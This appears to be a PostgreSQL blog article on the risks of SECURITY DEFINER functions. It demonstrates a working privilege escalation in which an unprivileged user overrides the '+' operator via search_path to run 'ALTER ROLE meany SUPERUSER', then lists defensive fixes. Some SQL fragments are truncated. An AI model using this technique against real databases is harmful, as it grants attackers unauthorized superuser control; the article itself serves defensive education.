UPDATED August 2023: Functions defined as SECURITY DEFINER are a powerful, but dangerous tool in PostgreSQL.

The documentation warns of the dangers:

Because a SECURITY DEFINER function is executed with the privileges of the user that owns it, care is needed to ensure that the function cannot be misused. For security, search_path should be set to exclude any schemas writable by untrusted users. This prevents malicious users from creating objects (e.g., tables, functions, and operators) that mask objects intended to be used by the function.

This article describes such an attack, in the hope to alert people that this is no idle warning.

What is SECURITY DEFINER good for?

By default, PostgreSQL functions are defined as SECURITY INVOKER. That means that they are executed with the User ID and security context of the user that calls them. SQL statements executed by such a function run with the same permissions as if the user had executed them directly.

A SECURITY DEFINER function will run with the User ID and security context of the function owner.

This can be used to allow a low privileged user to execute an operation that requires high privileges in a controlled fashion: you define a SECURITY DEFINER function owned by a privileged user that executes the operation. The function restricts the operation in the desired way.

For example, you can allow a user to use COPY TO, but only to a certain directory. The function has to be owned by a superuser (or, from v11 on, by a user with the pg_write_server_files role).

What is the danger?

Of course, such functions have to be written very carefully to avoid software errors that could be abused.

But even if the code is well-written, there is a danger: unqualified access to database objects from the function (that is, accessing objects without explicitly specifying the schema) can affect other objects than the author of the function intended. This is because the configuration parameter search_path can be modified in a database session. This parameter governs which schemas are searched to locate the database object.

The documentation has an example where search_path is used to have a password checking function inadvertently check a temporary table for passwords.

You may think you can avoid the danger by using the schema name in each table access, but that is not good enough.

A harmless (?) SECURITY DEFINER function

Consider this seemingly harmless example of a SECURITY DEFINER function that does not control search_path properly:

CREATE FUNCTION public.harmless(integer) RETURNS integer
'SELECT $1 + 1';

Let’s assume that this function is owned by a superuser.

Now this looks pretty safe at first glance: no table or view is used, so nothing can happen, right? Wrong!

How the “harmless” function can be abused

The attack depends on two things:

  • There is a schema (public) where the attacker can create objects.
  • PostgreSQL is very extensible, so you can not only create new tables and functions, but also new types and operators (among other things).

The malicious database user “meany” can simply run the following code:

 * SQL functions can run several statements, the result of the
 * last one is the function result.
 * The "OPERATOR" syntax is necessary to schema-qualify an operator
 * (you can't just write "$1 pg_catalog.+ $2").

CREATE FUNCTION public.sum(integer, integer) RETURNS integer
'ALTER ROLE meany SUPERUSER; SELECT $1 OPERATOR(pg_catalog.+) $2';

   FUNCTION = public.sum,
   LEFTARG = integer,
   RIGHTARG = integer

 * By default, "pg_catalog" is added to "search_path" in front of
 * the schemas that are specified.
 * We have to put it somewhere else explicitly to change that.

SET search_path = public,pg_catalog;

SELECT public.harmless(41);

(1 row)

\du meany

           List of roles
 Role name | Attributes | Member of 
 meany     | Superuser  | {}

What happened?

The function was executed with superuser permissions. search_path was set to find the (unqualified!) “+” operator in schema public rather than in pg_catalog. So, the user-defined function public.sum was executed with superuser privileges and turned the attacker into a superuser.

If the attacker had called the function public.sum himself (or issued the ALTER ROLE statement), it would have caused a “permission denied” error. But since the SELECT statement inside the function ran with superuser permissions, so did the operator function.

How can you protect yourself?

In theory you can schema-qualify everything, including operators, inside the function body, but the risk that you forget a harmless “+” or “=” is just too big. Besides, that would make your code hard to read, which is not good for software quality.

Therefore, you should take the following measures:

  • As recommended by the documentation, always set search_path on a SECURITY DEFINER function. Apart from the schemas that you need in the function, put pg_temp on the list as the last element.
  • Don’t have any schemas in the database where untrusted users have the CREATE privilege. In particular, remove the default public CREATE privilege from the public schema.
  • Revoke the public EXECUTE privilege on all SECURITY DEFINER functions and grant it only to those users that need it.


ALTER FUNCTION harmless(integer)
   SET search_path = pg_catalog,pg_temp;



Further important security info


In order to receive regular updates on important changes in PostgreSQL, subscribe to our newsletter, or follow us on Twitter, Facebook, or LinkedIn.